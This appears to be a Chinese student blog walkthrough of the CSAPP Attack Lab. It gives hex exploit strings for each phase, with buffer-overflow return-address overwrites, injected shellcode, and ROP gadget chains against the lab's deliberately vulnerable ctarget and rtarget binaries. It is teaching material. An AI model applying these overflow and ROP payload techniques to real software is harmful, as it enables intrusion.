CSAPP Attack Lab
个人感觉非常有意思的一个 Lab,涉及的知识面比较窄,主要关注 缓冲区溢出漏洞 这一个方面,并基于此进行代码攻击,体验一把做黑客的感觉,对应知识点为书中的 3.10 节内容。
这个 Lab 上手便给了我当头一棒,在环境配置上琢磨了好一阵。直接运行 ./ctarget -q
,程序没有让进行输入,而是直接触发了段错误,后来尝试在跑在学校的 Linux 服务器上得以正常运行,原因不明,推测是 WSL 的锅??
phase_1
在倒腾好环境之后,终于可以开始着手完成实验了。
phase_1 要求我们在调用 getbuf
读取标准输入后,不返回到 test
函数接着执行 printf
,而是转而执行 touch1
.
void test()
{int val;val = getbuf();printf("No exploit. Getbuf returned 0x%x\n", val);
}
可以利用书中 3.10.3 节提到的知识,向缓冲区中写入过量的数据,大到足以覆盖掉调用 getbuf
时压入栈中的返回地址,将其修改为我们想要跳转执行的程序的起始地址,即可达成目的。
00000000004017a8 <getbuf>:4017a8: 48 83 ec 28 sub $0x28,%rsp4017ac: 48 89 e7 mov %rsp,%rdi4017af: e8 8c 02 00 00 callq 401a40 <Gets>4017b4: b8 01 00 00 00 mov $0x1,%eax4017b9: 48 83 c4 28 add $0x28,%rsp4017bd: c3 retq 4017be: 90 nop4017bf: 90 nop
观察上述函数 getbuf
的汇编代码,从第一条指令 sub $0x28,%rsp
,可以看到函数 getbuf
的栈帧大小为 40 字节。因此要对返回地址进行写入修改,我们可以先写入 40 字节的任意数据,然后再写入 8 字节的目标地址。
这里的“任意”并非真的任意,因为最终的输入是通过字符串的形式来完成的,因此有些特定的字符可能会导致异常,例如 ‘\n’(对应 ASCII 码为 0x0a),这里我选用的 0x3f(向灵神致敬😄)。
最终的攻击数据如下所示:
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
c0 17 40 00 00 00 00 00 // 目标地址
可以借助 hex2raw
工具将 16 进制转换为对应的字符串,再管道给 ctarget
即可。
cat phase_1.txt | ./hex2raw | ./ctarget -q
phase_2
phase_2 相较于相较于 phase_1,由于要验证参数的正确性,因此只是跳转到目标程序位置还不够,还需要设置参数的值。但原始程序中并没有相关的代码,那参数的值应该如何设置?
这里必须要有一个理念:站在存储的角度,程序与数据并没有区别,它们都是由 0 和 1 组成的比特流。因此,设置参数的代码我们可以自行编写,将其当作数据进行传入,这样的操作称之为 代码注入(code injection) 。最后将我们编写的程序的地址作为返回地址,这样,当程序从 getbuf
返回时,就会跳转到我们先前注入的代码,从而达成目的。
void touch2(unsigned val)
{vlevel = 2; /* Part of validation protocol */if (val == cookie) {printf("Touch2!: You called touch2(0x%.8x)\n", val);validate(2);} else {printf("Misfire: You called touch2(0x%.8x)\n", val);fail(2);}exit(0);
}
一种有效的注入代码完成的操作如下:
- 写入寄存器
%rdi
的值,使其等于 cookie. - 跳转到程序
touch2
处。
关于跳转,实验手册中推荐使用 ret
指令,它可看作是两个步骤的综合:首先从栈中弹出地址 A,然后将 PC 值设置为 A。因此想要跳转到 touch2
,可以先使用 push
将 touch2
的地址压入栈中,然后使用 ret
实现跳转。
对于指令的二进制表示,可以先编译: gcc -c ./injec.s
,再反汇编:objdump -d ./injec.o
得到。
Disassembly of section .text:0000000000000000 <.text>:0: 48 8b 3c 25 e4 44 60 mov 0x6044e4,%rdi7: 00 8: 68 ec 17 40 00 pushq $0x4017ecd: c3 retq
另外,要想跳转到注入代码的位置,我们必须首先知道它的地址,由于 ctarget 没有使用 栈随机化(stack randomization) ,因此我们完全可以先借助 GDB 打印出调用 Gets
前的栈指针值,再根据注入代码相较于栈指针的偏移计算得到。
最终的攻击数据如下所示:
48 8b 3c 25 e4 44 60 00
68 ec 17 40 00 c3 00 00
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
78 dc 61 55 00 00 00 00
最后,想吐槽一点,Attack Lab 貌似没法 GDB 调试 getbuf
?没了调试,在一些简单的错误上面卡半天。。。
phase_3
phase_3 和 phase_2 很类似,只不过参数由整数换成了字符串,不过思路都是大抵相同的。
void touch3(char *sval)
{vlevel = 3; /* Part of validation protocol */if (hexmatch(cookie, sval)) {printf("Touch3!: You called touch3(\"%s\")\n", sval);validate(3);} else {printf("Misfire: You called touch3(\"%s\")\n", sval);fail(3);}exit(0);
}/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{char cbuf[110];/* Make position of check string unpredictable */char *s = cbuf + random() % 100;sprintf(s, "%.8x", val);return strncmp(sval, s, 9) == 0;
}
字符串相较于整数,无外乎多了一层 indirection ,也就是指针。我们只需要预先在某个地址 addr 处将字符串数据进行存储,后续将字符串参数设置为 addr 即可,同样,addr 的值可根据相对于栈的偏移量得到。
注入的代码如下:
Disassembly of section .text:0000000000000000 <.text>:0: 48 c7 c7 88 dc 61 55 mov $0x5561dc88,%rdi7: 68 fa 18 40 00 pushq $0x4018fac: c3 retq
而字符串 "59b997fa"
的 ASCII 码表示为:35 39 62 39 39 37 66 61 00
,最后的 00
表示 NULL,即 C 语言字符串的终结符。
这里我遇到了一点问题,这是错误的攻击数据:
48 c7 c7 88 dc 61 55 68
fa 18 40 00 c3 00 00 00
35 39 62 39 39 37 66 61
00 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
78 dc 61 55 00 00 00 00
上面的答案看似没有问题,但是实际上忽略了很重要的一点,字符串的值存放在 getbuf
的栈帧中(0x5561dc78 ~ 0x5561dc98
),在完成字符串正确性检验之前,字符串的值都应该 保持不变 。而实际上在函数 getbuf
返回后,它的栈帧空间将会被回收,留给 touch3
和 hexmatch
分配使用,且观察反汇编代码发现分配给 hexmatch
的栈帧空间大于 40 字节,这必然导致 getbuf
栈帧数据被破坏,也就导致了错误。
一种正确的方式是将字符串数据写入 test
栈帧或更高地址处,因为实验只要求成功触发 touch,而并不要求正确返回到之前的调用过程,因此破坏之前的栈帧对结果无影响。
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00
phase_4
后面的两个实验需要攻击程序是 rtarget,相较于 ctarget,它引入了很多安全措施,例如栈随机化、限制可执行代码区域等,因此攻击起来更为困难。
参考实验手册,其中介绍了一种很有意思的攻击方法:不手动注入代码,而是借助已存在的代码,将其重组为我们需要的攻击代码。其中,一个以 ret
指令结束的指令序列,称之为一个 gadget,一连串的 gadget 被调用将会产生等价于代码注入的效果。
想法很美好,但是实施起来的过程还是比较痛苦的,要想组合出有效的 gadget,需要仔细对照指令的字节表示和 farm
的反汇编代码,这部分我也是大量 抄袭了 参考了其他人的做法。
一种正确的 gadget 组合如下:
# gadget1
00000000004019ab <addval_219 + 4>:
58 pop %rax
90 nop
c3 ret# gadget2
00000000004019c5 <setval_426 + 2>:
48 89 c7 movq %rax,%rdi
90 nop
c3 ret
返回地址为 0x4019ab
,即 gadget1 的起始地址,然后栈中从低到高依次存放:cookie 的值、gadget2 的起始地址、touch2
的起始地址。
这里要注意出栈是从低地址向高地址方向,与入栈相反。
最终的攻击数据如下:
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
phase_5
最后 phase_5 的 gadget 构造非常复杂(官解是用了 8 个),在 CMU 的实验中也是属于选做的部分,完成前四个已经有 95 分了,因此这里也只介绍一些问题和思路。
前面提到,rtarget 引入了栈随机化,这会带来的问题是:在指定参数 sval 时,无法显式地指定地址,而需要依靠间接寻址,即栈指针 %rsp
加上一个相较于它的偏移量。我们可以先确定哪条指令根据栈指针的值计算字符串参数,记录下它的位置和字符串存放位置的偏移量,作为数据一并存入栈中,后续再取出进行计算。
以下是一种正确的 gadget 实现:
# gadget1
00000000004019ab <addval_219 + 4>:
58 pop %rax
90 nop
c3 ret# gadget2
00000000004019dd <getval_481 + 2>:
89 c2 movl %eax,%edx
90 nop
c3 ret# gadget3
0000000000401a69 <getval_481 + 1>:
89 d1 movl %edx,%ecx
08 db orb %bl,%bl
c3 ret# gadget4
0000000000401a13 <addval_436 + 2>:
89 ce movl %ecx,%esi
90 nop
90 nop
c3 ret# gadget5
0000000000401aad <setval_350 + 2>:
48 89 e0 movq %rsp,%rax
90 nop
c3 ret# gadget6
00000000004019a2 <addval_273 + 2>:
48 89 c7 movq %rax,%rdi
c3 ret# gadget7
00000000004019d6 <add_xy>:
48 8d 04 37 lea (%rdi,%rsi,1),%rax
c3 ret# gadget8
00000000004019a2 <addval_273 + 2>:
48 89 c7 movq %rax,%rdi
c3 ret
攻击数据的构造和 phase_4 很类似,就不过多赘述了。
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
ab 19 40 00 00 00 00 00
20 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
ad 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00
相关文章:

CSAPP Attack Lab
个人感觉非常有意思的一个 Lab,涉及的知识面比较窄,主要关注 缓冲区溢出漏洞 这一个方面,并基于此进行代码攻击,体验一把做黑客的感觉,对应知识点为书中的 3.10 节内容。 这个 Lab 上手便给了我当头一棒,在…...

通信工程学习:什么是NFVI网络功能虚拟化基础设施层
NFVI:网络功能虚拟化基础设施层 NFVI(Network Functions Virtualization Infrastructure)即网络功能虚拟化基础设施层,是NFV(Network Functions Virtualization,网络功能虚拟化)架构中的一个重要…...

不在同一局域网怎么远程桌面?非局域网环境下,实现远程桌面访问的5个方法分享!
非局域网环境下,怎么远程桌面?还能做到吗? 在企业管理中,远程桌面访问已成为提高工作效率、实现跨地域协同工作的关键工具。 然而,当被控端与控制端不在同一局域网时,如何实现远程桌面连接成为了许多企业…...

SparkSQL-初识
一、概览 Spark SQL and DataFrames - Spark 3.5.2 Documentation 我们先看下官网的描述: SparkSQL是用于结构化数据处理的Spark模块,与基本的Spark RDD API不同。Spark SQL提供的接口为Spark提供了更多关于正在执行的数据和计算结构的信息。在内部&a…...

Go语言的垃圾回收(GC)机制的迭代和优化历史
Go语言的垃圾回收(GC)机制自Go语言发布以来经历了多次重要的迭代和优化,以提高性能和减少程序运行时的停顿时间。 以下是一些关键的版本和相应的GC优化: Go版本GC耗时情况主要改进点Go 1.0-1.4可能达到几百毫秒至秒级使用简单的标…...

thinkphp8 从入门到放弃(后面会完善用到哪里写到哪)
thinkphp8 从入门到放弃 引言 thinkphp* 大道至简一、 thinkphp8 安装安装Composerthinkphp 安装命令(tp-项目名称)多应用安装(一个项目不会只有一个应用)安装完文件目录如下本地部署配置伪静态好了项目可以run 二、架构服务(Service…...

对于电商跨境电商独立站中源代码建站和SaaS建站的区别
电商跨境电商独立站的搭建有多种方式,作为电商企业,搭建完全自主控制的电商独立站,对于电商企业的发展和运营有着至关重要的作用。下面推荐一个使用多年的跨境电商独立站系统源码,做简要介绍,据说前段时间火爆的Pandab…...

使用vite+react+ts+Ant Design开发后台管理项目(二)
前言 本文将引导开发者从零基础开始,运用vite、react、react-router、react-redux、Ant Design、less、tailwindcss、axios等前沿技术栈,构建一个高效、响应式的后台管理系统。通过详细的步骤和实践指导,文章旨在为开发者揭示如何利用这些技术…...

C++之 string(中)
C之 string string类对象的容量操作 resize 将有效字符的个数该成n个,多出的空间用字符c填充 虽然在string里用的不多,但是在vector里面常见 这里有三种情况: 1)resize小于当前的size 2)resize大于当前的size,小于capacity …...

双向链表的基本结构及功能实现
1.基本结构: 双向链表是一种链表数据结构,它由一系列节点组成,每个节点包含三个部分: (1).数据域:存储节点的数据 (2).前驱指针:指向前一个节点 (3).后驱指针:指向下一个节点 2.基本特性: 双向链接: 与单向链表…...

stm32定时触发软件中断
这里使用定时器作为延时,单位为秒,使用exti的软件触发方式,配置见代码,在main里进行触发软件中断 代码 #include "stm32f10x.h" #include "stm32f10x_gpio.h" #include "misc.h" #include "…...

blender设置背景图怎么添加?blender云渲染选择
Blender是一款功能强大的3D建模软件,它以流畅的操作体验和直观的用户界面而闻名。使用Blender,你可以轻松地为你的3D模型添加背景图片。 以下是具体的操作步骤: 1、启动Blender:首先,打开Blender软件。访问添加菜单&a…...

MMD模型及动作一键完美导入UE5-Blender方案(三)
1、下载并安装blender_mmd_tools插件 1、下载并安装Blender,Blender,下载Blender3.6,下载太新的版本可能会跟blender_mmd_tools不匹配 2、github下载blender_mmd_tools:https://github.com/UuuNyaa/blender_mmd_tools/ 3、Edit->Preference->Add ons->Install F…...

网络安全自学入门:(超详细)从入门到精通学习路线规划,学完即可就业
很多人上来就说想学习黑客,但是连方向都没搞清楚就开始学习,最终也只是会无疾而终!黑客是一个大的概念,里面包含了许多方向,不同的方向需要学习的内容也不一样。 算上从学校开始学习,已经在网安这条路上走…...

如何在O2OA中使用ElementUI组件进行审批流程工作表单设计
本文主要介绍如何在O2OA中进行审批流程表单或者工作流表单设计,O2OA主要采用拖拽可视化开发的方式完成流程表单的设计和配置,不需要过多的代码编写,业务人员可以直接进行修改操作。 在流程表单设计界面,可以在左边的工具栏找到Ele…...

三、LLM应用开发准备工作
LLM应用开发准备工作 开发基础开发工具大模型kxswkey的配置与使用工具推荐结语 开发基础 最好具备一定的Python开发基础,不需要特别深 如果不具备,可以先学习一下基础知识(概念),比如Python环境管理、包管理与使用、基…...

机器学习-可解释性机器学习:随机森林与fastshap的可视化模型解析
可解释性机器学习是指使机器学习模型的决策过程透明化,帮助用户理解模型如何得出特定结果。随机森林和 FastSHAP 是常用的工具,以下是对它们的简要解析和可视化方法。 随机森林 1. 概述 随机森林是一种集成学习方法,通过构建多个决策树并结…...

使用Assimp加载glb/gltf文件,然后使用Qt3D来渲染
文章目录 1.代码2.说明2.1.调用2.2.关于贴图 1.代码 ModelLoader.h #ifndef MODELLOADER_H #define MODELLOADER_H#include <QObject> #include <Qt3DRender> #include <QVector3D> #include <QGeometry>#include <assimp/Importer.hpp> #incl…...

vue实现左侧数据拖拽到右侧区域,且左侧数据保留且左侧数据不能互相拖拽改变顺序
一、案例效果 二、案例代码 封装左侧抽屉 DrawerSearch.vue<template><div><mtd-form :model="formDrawerSearch" ref="formCustom" inline><mtd-form-item><mtd-inputtype="text"v-model="formDrawerSearch.ho…...

人工智能与机器学习原理精解【21】
文章目录 SVM求两线段上距离最近的两个点问题描述:距离函数:解法:具体步骤:特别注意:示例代码 SVM思想的介入1. **SVM 的基本思想**超平面: 2. **分类间隔(Margin)**1. **分类间隔的…...

【MySQL 01】数据库基础
目录 1.数据库是什么 2.基本操作 数据库服务器连接操作 数据库和数据库表的创建 服务器,数据库,表关系 数据逻辑存储 3.MySQL架构 4.SQL分类 5.存储引擎 1.数据库是什么 mysql&&mysqld: mysql:这通常指的是 MySQL …...

C语言字符学习中级使用库解决问题
学习C语言中的字符处理,对于初学者来说,理解字符的基本概念以及如何进行操作是非常重要的。字符处理是指对单个字符或一组字符(字符串)的操作。为了更好地理解,下面从基础开始介绍,并结合一些常用的函数和示…...

网络管理:网络故障排查指南
在现代IT环境中,网络故障是不可避免的。快速、有效地排查和解决网络故障是确保业务连续性和用户满意度的关键。本文将详细介绍网络故障排查的基本方法和步骤,确保内容通俗易懂,并配以代码示例和必要的图片说明。 一、网络故障排查的基本步骤 确认故障现象 确认用户报告的故…...

Springboot常见问题(bean找不到)
如图错误显示userMapper bean没有找到。 解决方案: mapper包位置有问题:因为SpringBoot默认的包扫描机制会扫描启动类所在的包同级文件和子包下的文件。注解问题: 比如没有加mapper注解 然而无论是UserMapper所在的包位置还是Mapper注解都是…...

架构设计笔记-5-软件工程基础知识
知识要点 按软件过程活动,将软件工具分为软件开发工具、软件维护工具、软件管理和软件支持工具。 软件开发工具:需求分析工具、设计工具、编码与排错工具。 软件维护工具:版本控制工具、文档分析工具、开发信息库工具、逆向工程工具、再工…...

Solidity——抽象合约和接口详解
🚀本系列文章为个人学习笔记,目的是巩固知识并记录我的学习过程及理解。文笔和排版可能拙劣,望见谅。 Solidity中的抽象合约和接口详解 目录 什么是抽象合约?抽象合约的语法接口(Interface)的定义接口的语…...

Fyne ( go跨平台GUI )中文文档-入门(一)
本文档注意参考官网(developer.fyne.io/) 编写, 只保留基本用法go代码展示为Go 1.16 及更高版本, ide为goland2021.2 这是一个系列文章: Fyne ( go跨平台GUI )中文文档-入门(一)-CSDN博客 Fyne ( go跨平台GUI )中文文档-Fyne总览(二)-CSDN博客 Fyne ( go跨平台GUI )…...

Google 扩展 Chrome 安全和隐私功能
过去一周,谷歌一直在推出新特性和功能,旨在让用户在 Chrome 上的桌面体验更加安全,最新的举措是扩展在多个设备上保存密钥的功能。 到目前为止,Chrome 网络用户只能将密钥保存到 Android 上的 Google 密码管理器,然后…...

css 缩放会变动的需要使用转换
position: fixed;top: 170px;left: 50%;transform: translate(-50%, -50%);...

(17)数据库neo4j数据备份
图数据库备份 假设图数据库安装位置:/root/shuzihua/neo4j-community-3.5.8 1.数据导出 进入/root/shuzihua/neo4j-community-3.5.8/bin目录;执行 neo4j stop 停止服务;/root/shuzihua/neo4j-community-3.5.8/data/databases/graph.db&#…...